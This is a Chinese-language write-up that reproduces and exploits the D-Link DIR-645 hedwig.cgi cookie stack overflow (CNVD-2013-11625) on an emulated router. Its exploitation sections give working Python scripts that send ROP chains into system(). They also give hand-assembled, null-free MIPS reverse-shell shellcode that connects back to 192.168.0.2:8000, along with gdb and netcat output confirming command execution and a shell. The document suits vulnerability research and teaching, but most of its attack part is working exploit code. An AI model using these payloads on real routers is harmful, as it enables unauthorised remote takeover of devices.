D-Link DIR-645 CNVD-2013-11625 漏洞分析

D-Link DIR-645 hedwig.cgi 栈溢出漏洞分析。

漏洞信息

漏洞编号:CNVD-2013-11625

漏洞类型:栈溢出

漏洞组件:

  • /htdocs/web/post_login.xml
  • /htdocs/web/hedwig.cgi
  • /htdocs/web/authentication.cgi

影响范围:

  • D-Link DIR-645 <= A1 1.0.3B11

漏洞复现

连接仿真路由器 Shell 终端,关闭系统地址随机化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
------------------------------
| FirmAE Debugger |
------------------------------
1. connect to socat
2. connect to shell
3. tcpdump
4. run gdbserver
5. file transfer
6. exit
> 2
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.

/ # ps | grep "httpd"
4947 root 4976 S httpd -f /var/run/httpd.conf
5355 root 808 S grep httpd
/ # echo "0" >> /proc/sys/kernel/randomize_va_space
/ # exit
Connection closed by foreign host.

运行漏洞利用脚本,执行系统命令。

1
2
3
4
> python3 d-link_dir-645_cnvd-2013-11625_exp.py -u "http://192.168.108.128:8000" -c "wget http://192.168.0.2:8000/index.html"
[*] Target: http://192.168.108.128:8000
[*] Command: wget http://192.168.0.2:8000/index.html
[+] Command execute success.

通过 NetCat 监听端口,接收路由器请求。

1
2
3
4
5
6
7
8
9
$ nc -lvvp 8000
Listening on 0.0.0.0 8000
Connection received on 192.168.108.1 51319
POST /hedwig.cgi HTTP/1.1
Host: 192.168.108.128:8000
Accept-Encoding: identity
Content-Length: 0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8

漏洞分析

查看 hedwig.cgi 文件信息可知,该文件是一个软链接,实际指向 /htdocs/cgibin 文件。

1
2
$ ls -l ./htdocs/web/hedwig.cgi 
lrwxrwxrwx 1 person person 14 Sep 5 01:08 ./htdocs/web/hedwig.cgi -> /htdocs/cgibin

使用 IDA 加载 cgibin 文件,通过关键字检索,在 main() 函数中定位到路由代码。

1
2
3
4
5
6
if ( !strcmp(filename, "hedwig.cgi") )
{
v8 = (int (*)())&hedwigcgi_main;
v9 = argc;
return ((int (__fastcall *)(_DWORD, _DWORD, _DWORD))v8)(v9, argv, envp);
}

根据漏洞描述,问题出现在 Cookie 的处理过程中。

Another buffer overflow affects the “hedwig.cgi” CGI script. Unauthenticated remote attackers can invoke this CGI with an overly-long cookie value that can overflow a program buffer and overwrite the saved program address.

通过字符串检索,在 sess_get_uid() 函数中定位到 HTTP_COOKIE 字符串的调用。

1
2
3
4
5
6
cookie_key = (int)sobj_new();
v2 = -61;
cookie_value = (int)sobj_new();
http_cookie = getenv("HTTP_COOKIE");
if ( !cookie_key )
goto LABEL_23;

分析 sess_get_uid() 函数可知,该函数用于从 Cookie 属性中提取 uid 字段的值,存放在参数 a1 指向的内存空间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
  v6 = 0;
while ( 1 )
{
v7 = *http_cookie_1;
if ( !*http_cookie_1 )
break;
if ( v6 == 1 )
goto LABEL_11;
if ( v6 < 2 )
{
if ( v7 == ' ' )
goto LABEL_18;
sobj_free(cookie_key);
sobj_free(cookie_value);
LABEL_11:
if ( v7 == ';' )
{
v6 = 0;
}
else
{
v6 = 2;
if ( v7 != '=' )
{
sobj_add_char(cookie_key, v7);
v6 = 1;
}
}
goto LABEL_18;
}
if ( v6 == 2 )
{
if ( v7 == ';' )
{
v6 = 3;
goto LABEL_18;
}
sobj_add_char(cookie_value, *http_cookie_1++);
}
else
{
v6 = 0;
if ( !sobj_strcmp(cookie_key, "uid") )
goto LABEL_21;
LABEL_18:
++http_cookie_1;
}
}
v2 = -61;
if ( !sobj_strcmp(cookie_key, "uid") )
{
LABEL_21:
uid = sobj_get_string(cookie_value);
sobj_add_string(a1, (const char *)uid);
v2 = 0;
}

追溯 sess_get_uid() 函数的引用情况,定位到 hedwigcgi_main() 函数中的一处调用。

1
2
3
4
5
6
char xml_path[1024]; // [sp+C0h] [-400h] BYREF
....
sess_get_uid(cookie_uid);
uid = (const char *)sobj_get_string(cookie_uid);
sprintf(xml_path, "%s/%s/postxml", "/runtime/session", uid);
xmldbc_del(0, 0, xml_path);

可以看到,从 Cookie 中得到的 uid 被直接拼接到 xml_path 数组中,由于未对写入数组的长度进行限制,所以存在栈溢出漏洞。

漏洞利用

调试进程

连接仿真路由器 Shell 终端,查找 httpd 进程,并关闭系统地址随机化保护。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
------------------------------
| FirmAE Debugger |
------------------------------
1. connect to socat
2. connect to shell
3. tcpdump
4. run gdbserver
5. file transfer
6. exit
> 2
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.

/ # ps | grep "httpd"
4933 root 4976 S httpd -f /var/run/httpd.conf
6267 root 808 S grep httpd
/ # echo "0" >> /proc/sys/kernel/randomize_va_space
/ # exit
Connection closed by foreign host.

运行 gdbserver 附加到 httpd 进程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
------------------------------
| FirmAE Debugger |
------------------------------
1. connect to socat
2. connect to shell
3. tcpdump
4. run gdbserver
5. file transfer
6. exit
> 4
PID USER VSZ STAT COMMAND
1 root 808 S init
2 root 0 SW [kthreadd]
3 root 0 SW [ksoftirqd/0]
....
4883 root 1016 S lld2d -c /var/lld2d.conf br0 ra0
4933 root 4976 S httpd -f /var/run/httpd.conf
6946 root 1668 S /firmadyne/busybox sleep 5
6953 root 804 S sleep 1
6966 root 812 R ps

[+] target pid : 4933
[+] gdbserver at 192.168.0.1:1337 attach on 4933
[+] run "target remote 192.168.0.1:1337" in host gdb-multiarch

运行 gdb-multiarch 连接路由器的调试端口,等待 CGI 请求。

1
2
3
4
5
6
set architecture mips
set follow-fork-mode child
set detach-on-fork off
b *0x0040C010
target remote 192.168.0.1:1337
c

发送 CGI 请求,调试器中断在 hedwigcgi_main() 函数开始位置。

1
2
3
4
5
6
7
8
9
10
11
► 0x40c010 <hedwigcgi_main>       lui    $gp, 0x44
0x40c014 <hedwigcgi_main+4> addiu $sp, $sp, -0x4e8
0x40c018 <hedwigcgi_main+8> addiu $gp, $gp, -0x4930
0x40c01c <hedwigcgi_main+12> sw $ra, 0x4e4($sp)
0x40c020 <hedwigcgi_main+16> sw $fp, 0x4e0($sp)
0x40c024 <hedwigcgi_main+20> sw $s7, 0x4dc($sp)
0x40c028 <hedwigcgi_main+24> sw $s6, 0x4d8($sp)
0x40c02c <hedwigcgi_main+28> sw $s5, 0x4d4($sp)
0x40c030 <hedwigcgi_main+32> sw $s4, 0x4d0($sp)
0x40c034 <hedwigcgi_main+36> sw $s3, 0x4cc($sp)
0x40c038 <hedwigcgi_main+40> sw $s2, 0x4c8($sp)

控制返回

查看 hedwigcgi_main() 函数的结尾代码,确定 $ra 寄存器的值保存在 var_s24 中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:0040C5B8 loc_40C5B8:                              # CODE XREF: hedwigcgi_main:loc_40C59C↑j
.text:0040C5B8 lw $ra, 0x4C0+var_s24($sp)
.text:0040C5BC move $v0, $s7
.text:0040C5C0 lw $fp, 0x4C0+var_s20($sp)
.text:0040C5C4 lw $s7, 0x4C0+var_s1C($sp)
.text:0040C5C8 lw $s6, 0x4C0+var_s18($sp)
.text:0040C5CC lw $s5, 0x4C0+var_s14($sp)
.text:0040C5D0 lw $s4, 0x4C0+var_s10($sp)
.text:0040C5D4 lw $s3, 0x4C0+var_sC($sp)
.text:0040C5D8 lw $s2, 0x4C0+var_s8($sp)
.text:0040C5DC lw $s1, 0x4C0+var_s4($sp)
.text:0040C5E0 lw $s0, 0x4C0+var_s0($sp)
.text:0040C5E4 jr $ra
.text:0040C5E8 addiu $sp, 0x4E8

根据 hedwigcgi_main() 函数的栈空间布局可知,数组 xml_path 的起始地址距离 var_s24 的偏移为 0x424 字节。

1
2
3
4
5
6
7
8
9
10
11
-00000400 xml_path:       .byte 1024 dup(?)
+00000000 var_s0: .word ?
+00000004 var_s4: .word ?
+00000008 var_s8: .word ?
+0000000C var_sC: .word ?
+00000010 var_s10: .word ?
+00000014 var_s14: .word ?
+00000018 var_s18: .word ?
+0000001C var_s1C: .word ?
+00000020 var_s20: .word ?
+00000024 var_s24: .word ?

因为拼接后的 xml_path/runtime/session/ 开头,所以实际需要填充 0x413 字节用于覆盖 $pc 寄存器。

编写测试脚本,用于覆盖 $pc 寄存器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/python3

import requests

payload = 'A' * 0x413
payload += 'BBBB'

url = 'http://192.168.108.128/hedwig.cgi'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
'Cookie': 'uid=' + payload
}
data = ''

r = requests.post(url=url, headers=headers, data=data)
print(r.text)

可以看到 $pc 寄存器被覆盖为指定的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
*S0   0x41414141 ('AAAA')
*S1 0x41414141 ('AAAA')
*S2 0x41414141 ('AAAA')
*S3 0x41414141 ('AAAA')
*S4 0x41414141 ('AAAA')
*S5 0x41414141 ('AAAA')
*S6 0x41414141 ('AAAA')
*S7 0x41414141 ('AAAA')
*S8 0x41414141 ('AAAA')
GP 0x43b6d0
FP 0x7fff6760 ◂— '/postxml'
SP 0x7fff6760 ◂— '/postxml'
*PC 0x42424242 ('BBBB')
──────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM / mips / set emulate on ]───────────────────────────────────────────────────────────────────────────────────────────────────────
Invalid address 0x42424242

执行命令

通过调用 libc 库中的 system 函数,可以实现执行任意命令的功能。

查看 cgibin 文件的保护情况。

1
2
3
4
5
6
7
8
9
$ checksec htdocs/cgibin
[*] '/home/person/Files/_DIR645A1_FW103B11.bin.extracted/squashfs-root/htdocs/cgibin'
Arch: mips-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments

查看 libuClibc-0.9.30.1.so 文件的保护情况。

1
2
3
4
5
6
7
8
9
$ checksec lib/libuClibc-0.9.30.1.so
[*] '/home/person/Files/_DIR645A1_FW103B11.bin.extracted/squashfs-root/lib/libuClibc-0.9.30.1.so'
Arch: mips-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments

虽然 libuClibc-0.9.30.1.so 文件开启了 PIE 保护机制,但是由于已经关闭系统地址随机化,所以忽略处理。

在调试器中查看 cgibin 进程中的 libuClibc-0.9.30.1.so 模块加载基址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x400000 0x423000 r-xp 23000 0 /htdocs/cgibin
0x433000 0x434000 rw-p 1000 23000 /htdocs/cgibin
0x434000 0x437000 rwxp 3000 0 [heap]
0x77f34000 0x77f92000 r-xp 5e000 0 /lib/libuClibc-0.9.30.1.so
0x77f92000 0x77fa1000 ---p f000 0 [anon_77f92]
0x77fa1000 0x77fa2000 r--p 1000 5d000 /lib/libuClibc-0.9.30.1.so
0x77fa2000 0x77fa3000 rw-p 1000 5e000 /lib/libuClibc-0.9.30.1.so
0x77fa3000 0x77fa8000 rw-p 5000 0 [anon_77fa3]
0x77fa8000 0x77fd1000 r-xp 29000 0 /lib/libgcc_s.so.1
0x77fd1000 0x77fe1000 ---p 10000 0 [anon_77fd1]
0x77fe1000 0x77fe2000 rw-p 1000 29000 /lib/libgcc_s.so.1
0x77fe2000 0x77fe7000 r-xp 5000 0 /lib/ld-uClibc-0.9.30.1.so
0x77ff5000 0x77ff6000 rw-p 1000 0 [anon_77ff5]
0x77ff6000 0x77ff7000 r--p 1000 4000 /lib/ld-uClibc-0.9.30.1.so
0x77ff7000 0x77ff8000 rw-p 1000 5000 /lib/ld-uClibc-0.9.30.1.so
0x7ffd6000 0x7fff7000 rwxp 21000 0 [stack]
0x7fff7000 0x7fff8000 r-xp 1000 0 [vdso]

使用 ROPgadget 在 libuClibc-0.9.30.1.so 中查找合适的函数调用指令。

1
2
3
4
$ ROPgadget --binary libuClibc-0.9.30.1.so | grep "move \$t9, \$s0 ; jalr \$t9 ;"
....
0x000159cc : addiu $s5, $sp, 0x10 ; move $a1, $s3 ; move $a2, $s1 ; move $t9, $s0 ; jalr $t9 ; move $a0, $s5
....

将准备执行的命令写入 $sp + 0x10 指向的地址,而 system 函数地址则存放在 $s0 寄存器中,这样便可以调用 system 函数执行指定的命令。

libuClibc-0.9.30.1.so 中查找 system() 函数的地址。

1
2
3
4
5
6
7
.text:00053200                 .globl system  # weak
.text:00053200 system: # DATA XREF: LOAD:00003324↑o
.text:00053200 # LOAD:00005084↑o
.text:00053200
.text:00053200 var_1C = -0x1C
.text:00053200 var_14 = -0x14
.text:00053200 var_C = -0xC

由于 system() 函数的地址为 0x00053200,包含截断符,所以需要采用间接的方式进行调用。

在 MIPS 架构中,指令执行采用流水线机制,即在跳转指令执行后,其下一条指令也会执行。因此,通过利用加减法的方式,可以避免地址中截断符的影响。

查找 libuClibc-0.9.30.1.so 中合适的 ROP 指令。

1
2
3
4
$ ROPgadget --binary libuClibc-0.9.30.1.so | grep "jalr \$t9 ; addiu \$s0"
....
0x000158c8 : move $t9, $s5 ; jalr $t9 ; addiu $s0, $s0, 1
....

通过将 system 函数地址减 1 发送,加 1 调用的方式,避免 payload 中 \x00 截断符的影响。

编写测试脚本,执行系统命令。由于 requests 库不支持发送 bytes 类型数据,因此更换为 http.client 库进行发送。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/python3

import struct
import http.client

libc_base_addr = 0x77F34000
command = 'wget http://192.168.0.2:8000/index.html'.encode('utf-8')

payload = b'A' * 0x3EF
payload += struct.pack('<I', libc_base_addr + 0x000531FF)
payload += b'A' * 0x10
payload += struct.pack('<I', libc_base_addr + 0x000159CC)
payload += b'A' * 0xC
payload += struct.pack('<I', libc_base_addr + 0x000158C8)
payload += b'A' * 0x10
payload += command

host = '192.168.108.128'
port = 80
path = '/hedwig.cgi'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
'Cookie': b'uid=' + payload
}
data = ''

conn = http.client.HTTPConnection(host, port).request('POST', path, data, headers)
r = conn.getresponse()
print(r.read().decode('utf-8'))

运行 NetCat 监听指定端口,接收到路由器发送的 HTTP 请求。

1
2
3
4
5
6
$ nc -lvvp 8000
Listening on 0.0.0.0 8000
Connection received on 192.168.0.1 46499
GET /index.html/postxml HTTP/1.1
Host: 192.168.0.2:8000
User-Agent: Wget

执行代码

通过将代码写入栈中内存,然后跳转到栈上进行执行,实现执行任意代码的功能。

通过之前的 gadget 代码,可以控制程序跳转到栈中地址。

1
2
0x000159cc : addiu $s5, $sp, 0x10 ; move $a1, $s3 ; move $a2, $s1 ; move $t9, $s0 ; jalr $t9 ; move $a0, $s5
0x000158c8 : move $t9, $s5 ; jalr $t9 ; addiu $s0, $s0, 1

将代码写入 $sp + 0x10 指向的内存空间,依次经过 0x000159CC 和 0x000158C8 地址指令的执行,最终将跳转到栈中执行 shellcode 代码。

编写测试脚本,控制程序跳转到栈中执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/python3

import struct
import http.client

libc_base_addr = 0x77F34000
shellcode = b'BBBB'

payload = b'A' * 0x3EF
payload += struct.pack('<I', libc_base_addr + 0x000158C8)
payload += b'A' * 0x20
payload += struct.pack('<I', libc_base_addr + 0x000159CC)
payload += b'A' * 0x10
payload += shellcode

host = '192.168.108.128'
port = 80
path = '/hedwig.cgi'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
'Cookie': b'uid=' + payload
}
data = ''

conn = http.client.HTTPConnection(host, port).request('POST', path, data, headers)
r = conn.getresponse()
print(r.read().decode('utf-8'))

可以看到 $pc 寄存器指向了栈空间地址,并提示此处为无效指令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
*S0   0x77f498c9 ◂— j 0x740a8320
*S1 0x41414141 ('AAAA')
*S2 0x41414141 ('AAAA')
*S3 0x41414141 ('AAAA')
*S4 0x41414141 ('AAAA')
*S5 0x7fff6760 ◂— 'BBBB/postxml'
*S6 0x41414141 ('AAAA')
*S7 0x41414141 ('AAAA')
*S8 0x41414141 ('AAAA')
GP 0x43b6d0
*FP 0x0
SP 0x7fff6750 ◂— 'AAAAAAAAAAAAAAAABBBB/postxml'
*PC 0x7fff6760 ◂— 'BBBB/postxml'
──────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM / mips / set emulate on ]───────────────────────────────────────────────────────────────────────────────────────────────────────
Invalid instructions at 0x7fff6760

编写实现交互 Shell 的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int main()
{
// 创建 UDP 套接字
int s = socket(2, 2, 0);

// 重定向标准输入流
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);

// 与攻击机建立连接
SOCKADDR_IN s_addr;
s_addr.sin_addr.S_un.S_addr = inet_addr("192.168.0.2");
s_addr.sin_family = AF_INET;
s_addr.sin_port = htons(8000);
connect(s, (SOCKADDR*)s_addr, sizeof(SOCKADDR));

// 实现交互式 Shell
execve("/bin/sh", ["/bin/sh", "-i"], 0);

return 0;
}

转换为 mips32 架构的汇编代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
; int s = socket(2, 2, 0);
li $a0, 0x2
li $a1, 0x2
li $a2, 0x0
li $v0, 0x1057
syscall 0x40404
sw $v0, 0x1E0($sp)

; dup2(s, 0); dup2(s, 1); dup2(s, 2);
lw $a0, 0x1E0($sp)
li $a1, 0x0
li $v0, 0xFDF
syscall 0x40404

li $a1, 0x1
li $v0, 0xFDF
syscall 0x40404

li $a1, 0x2
li $v0, 0xFDF
syscall 0x40404

; connect(s, (SOCKADDR*)s_addr, sizeof(SOCKADDR));
lui $t6, 0x401F
ori $t6, $t6, 0x0002
sw $t6, 0x1E4($sp)

lui $t6, 0x0200
ori $t6, $t6, 0xA8C0
sw $t6, 0x1E8($sp)

lw $a0, 0x1E0($sp)
la $a1, 0x1E4($sp)
li $a2, 0x10
li $v0, 0x104A
syscall 0x40404

; execve("/bin/sh", ["/bin/sh", "-i"], 0);
lui $t1, 0x6E69
ori $t1, $t1, 0x622F
sw $t1, 0x1E8($sp)
lui $t1, 0x0068
ori $t1, $t1, 0x732F
sw $t1, 0x1EC($sp)

lui $t1, 0x0
ori $t1, $t1, 0x692D
sw $t1, 0x1F0($sp)

la $t1, 0x1E8($sp)
sw $t1, 0x1E0($sp)
la $t1, 0x1F0($sp)
sw $t1, 0x1E4($sp)

la $a0, 0x1E8($sp)
la $a1, 0x1E0($sp)
li $a2, 0x0
li $v0, 0xFAB
syscall 0x40404

为了防止汇编代码对应的十六进制数据存在 \x00 字节,需要对代码进行优化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
; int s = socket(2, 2, 0);
li $a0, 0x2223
addi $a0, $a0, -0x2221
li $a1, 0x2223
addi $a1, $a1, -0x2221
li $a2, 0x2223
addi $a2, $a2, -0x2223
li $v0, 0x1057
syscall 0x40404
sw $v0, 0x1E0($sp)

; dup2(s, 0); dup2(s, 1); dup2(s, 2);
lw $a0, 0x1E0($sp)
li $a1, 0x2223
addi $a1, $a1, -0x2223
li $v0, 0xFDF
syscall 0x40404

li $a1, 0x2223
addi $a1, $a1, -0x2222
li $v0, 0xFDF
syscall 0x40404

li $a1, 0x2223
addi $a1, $a1, -0x2221
li $v0, 0xFDF
syscall 0x40404

; connect(s, (SOCKADDR*)s_addr, sizeof(SOCKADDR));
lui $t6, 0x401F
ori $t6, $t6, 0x0303
addi $t6, $t6, -0x0301
sw $t6, 0x1E4($sp)

lui $t6, 0x0303
ori $t6, $t6, 0xA9C1
addi $t6, $t6, -0x01030101
sw $t6, 0x1E8($sp)

lw $a0, 0x1E0($sp)
la $a1, 0x1E4($sp)
li $a2, 0x2223
addi $a2, $a2, -0x2213
li $v0, 0x104A
syscall 0x40404

; execve("/bin/sh", ["/bin/sh", "-i"], 0);
lui $t6, 0x6E69
ori $t6, $t6, 0x622F
sw $t6, 0x1E0($sp)

lui $t6, 0x0169
ori $t6, $t6, 0x7430
addi $t6, $t6, -0x01010101
sw $t6, 0x1E4($sp)

lui $t6, 0x6E69
ori $t6, $t6, 0x622F
sw $t6, 0x1F4($sp)

lui $t6, 0x0169
ori $t6, $t6, 0x7430
addi $t6, $t6, -0x01010101
sw $t6, 0x1F8($sp)

lui $t6, 0x0101
ori $t6, $t6, 0x6A2E
addi $t6, $t6, -0x01010101
sw $t6, 0x1FC($sp)

la $t6, 0x1F4($sp)
sw $t6, 0x1E8($sp)
la $t6, 0x1FC($sp)
sw $t6, 0x1EC($sp)
sw $zero, 0x1EC($sp)

la $a0, 0x1E0($sp)
la $a1, 0x1E8($sp)
slti $a2, $zero, -1
li $v0, 0xFAB
syscall 0x40404

由于 lui $t1, 0x6E69 对应的十六进制数据 \x69\x6e\x09\x3c 中的 \x09 字节会被程序替换为 \x20 字节,因此改用 $t6 寄存器。

通过 Online Assembler and Disassembler 网站将汇编代码转换为十六进制数据。

1
2
3
4
5
6
7
8
9
10
11
# int s = socket(2, 2, 0);
shellcode += b"\x23\x22\x04\x24\xdf\xdd\x84\x20\x23\x22\x05\x24\xdf\xdd\xa5\x20\x23\x22\x06\x24\xdd\xdd\xc6\x20\x57\x10\x02\x24\x0c\x01\x01\x01\xe0\x01\xa2\xaf"

# dup2(s, 0); dup2(s, 1); dup2(s, 2);
shellcode += b"\xe0\x01\xa4\x8f\x23\x22\x05\x24\xdd\xdd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x23\x22\x05\x24\xde\xdd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x23\x22\x05\x24\xdf\xdd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01"

# connect(s, (SOCKADDR*)s_addr, sizeof(SOCKADDR));
shellcode += b"\x1f\x40\x0e\x3c\x03\x03\xce\x35\xff\xfc\xce\x21\xe4\x01\xae\xaf\x03\x03\x0e\x3c\xc1\xa9\xce\x35\xfc\xfe\x01\x3c\xff\xfe\x21\x34\x20\x70\xc1\x01\xe8\x01\xae\xaf\xe0\x01\xa4\x8f\xe4\x01\xa5\x27\x23\x22\x06\x24\xed\xdd\xc6\x20\x4a\x10\x02\x24\x0c\x01\x01\x01"

# execve("/bin/sh", ["/bin/sh", "-i"], 0);
shellcode += b"\x69\x6e\x0e\x3c\x2f\x62\xce\x35\xe0\x01\xae\xaf\x69\x01\x0e\x3c\x30\x74\xce\x35\xfe\xfe\x01\x3c\xff\xfe\x21\x34\x20\x70\xc1\x01\xe4\x01\xae\xaf\x69\x6e\x0e\x3c\x2f\x62\xce\x35\xf4\x01\xae\xaf\x69\x01\x0e\x3c\x30\x74\xce\x35\xfe\xfe\x01\x3c\xff\xfe\x21\x34\x20\x70\xc1\x01\xf8\x01\xae\xaf\x01\x01\x0e\x3c\x2e\x6a\xce\x35\xfe\xfe\x01\x3c\xff\xfe\x21\x34\x20\x70\xc1\x01\xfc\x01\xae\xaf\xf4\x01\xae\x27\xe8\x01\xae\xaf\xfc\x01\xae\x27\xec\x01\xae\xaf\xec\x01\xa0\xaf\xe0\x01\xa4\x27\xe8\x01\xa5\x27\xff\xff\x06\x28\xab\x0f\x02\x24\x0c\x01\x01\x01"

编写测试脚本,执行 shellcode 代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/python3

import struct
import http.client

libc_base_addr = 0x77F34000

shellcode = b""
shellcode += b"\x23\x22\x04\x24\xdf\xdd\x84\x20\x23\x22\x05\x24\xdf\xdd\xa5\x20\x23\x22\x06\x24\xdd\xdd\xc6\x20\x57\x10\x02\x24\x0c\x01\x01\x01\xe0\x01\xa2\xaf"
shellcode += b"\xe0\x01\xa4\x8f\x23\x22\x05\x24\xdd\xdd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x23\x22\x05\x24\xde\xdd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x23\x22\x05\x24\xdf\xdd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01"
shellcode += b"\x1f\x40\x0e\x3c\x03\x03\xce\x35\xff\xfc\xce\x21\xe4\x01\xae\xaf\x03\x03\x0e\x3c\xc1\xa9\xce\x35\xfc\xfe\x01\x3c\xff\xfe\x21\x34\x20\x70\xc1\x01\xe8\x01\xae\xaf\xe0\x01\xa4\x8f\xe4\x01\xa5\x27\x10\x00\x06\x24\x4a\x10\x02\x24\x0c\x01\x01\x01"
shellcode += b"\x69\x6e\x0e\x3c\x2f\x62\xce\x35\xe0\x01\xae\xaf\x69\x01\x0e\x3c\x30\x74\xce\x35\xfe\xfe\x01\x3c\xff\xfe\x21\x34\x20\x70\xc1\x01\xe4\x01\xae\xaf\x69\x6e\x0e\x3c\x2f\x62\xce\x35\xf4\x01\xae\xaf\x69\x01\x0e\x3c\x30\x74\xce\x35\xfe\xfe\x01\x3c\xff\xfe\x21\x34\x20\x70\xc1\x01\xf8\x01\xae\xaf\x01\x01\x0e\x3c\x2e\x6a\xce\x35\xfe\xfe\x01\x3c\xff\xfe\x21\x34\x20\x70\xc1\x01\xfc\x01\xae\xaf\xf4\x01\xae\x27\xe8\x01\xae\xaf\xfc\x01\xae\x27\xec\x01\xae\xaf\xec\x01\xa0\xaf\xe0\x01\xa4\x27\xe8\x01\xa5\x27\xff\xff\x06\x28\xab\x0f\x02\x24\x0c\x01\x01\x01"

payload = b'A' * 0x3EF
payload += struct.pack('<I', libc_base_addr + 0x000158C8)
payload += b'A' * 0x20
payload += struct.pack('<I', libc_base_addr + 0x000159CC)
payload += b'A' * 0x10
payload += shellcode

host = '192.168.108.128'
port = 80
path = '/hedwig.cgi'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
'Cookie': b'uid=' + payload
}
data = ''

conn = http.client.HTTPConnection(host, port).request('POST', path, data, headers)
r = conn.getresponse()
print(r.read().decode('utf-8'))

运行 NetCat 监听端口,接收路由器 Shell 会话。

1
2
3
4
5
$ nc -lvvp 8000
Listening on 0.0.0.0 8000
pwd
nc: getnameinfo: Temporary failure in name resolution
/htdocs/web

参考链接

国家信息安全漏洞共享平台

D-Link DIR-645 Buffer Overflow / Cross Site Scripting ≈ Packet Storm

踏入IOT安全世界:DIR-815路由器多次溢出漏洞分析复现 - FreeBuf网络安全行业门户